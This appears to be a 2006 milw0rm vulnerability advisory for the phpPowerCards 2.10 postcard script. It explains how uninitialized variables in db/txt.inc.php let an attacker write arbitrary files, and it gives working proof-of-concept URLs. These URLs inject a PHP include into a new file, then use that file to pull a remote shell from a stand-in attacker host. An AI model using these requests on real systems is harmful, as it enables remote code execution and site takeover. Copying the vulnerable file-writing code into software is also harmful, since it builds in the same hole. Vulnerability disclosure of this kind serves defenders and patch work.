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• phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability
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• Affected Software .: phpPowerCards 2.10
• Vendor …: http://www.giombetti.com/
• Download …: http://lu.download.giombetti.com/phpPowerCards/phppowercards2.10.zip
• Description …: "phpPowerCards is a powerfull PHP based postcard script."
• Class …: Remote Code Execution
• Risk …: High (Remote Code Execution)
• Found By …: nuffsaid <nuffsaid[at]newbslove.us>
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• Details:
• phpPowerCards db/txt.inc.php does not initialize the $file variable before using it in the
• fopen() function on line 10, after $file is opened it then writes several variables which
• are also uninitialized to $file using the fputs() function. Assuming register_globals = on,
• we can initialize these variables in a query string and then write anything to a file we
• desire on the target box that's running phpPowerCards.
• Vulnerable Code:
• db/txt.inc.php, line(s) 10: $fp = fopen("$file","a");
• db/txt.inc.php, line(s) 23: fputs($fp, $email[to]. "¦¦" .$email[from]. "¦¦" .$name[to]. "¦¦" .$name[from]. "¦¦" .$picture. "¦¦" .$comment. "¦¦" .$sessionID. "\n");
• Proof of Concept:
• http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&email[to]=[evil code]
• http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&comment=[evil code]
• … same thing repeated for each variable in the second argument of fputs() on line 23
• -> http://[target]/[path]/db/txt.inc.php?file=…/evilfile.php&check=0&email[to]=+%3C%3Fphp+include%28%24evil_include%29%3B+%3F%3E+
• -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php
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milw0rm.com [2006-10-18]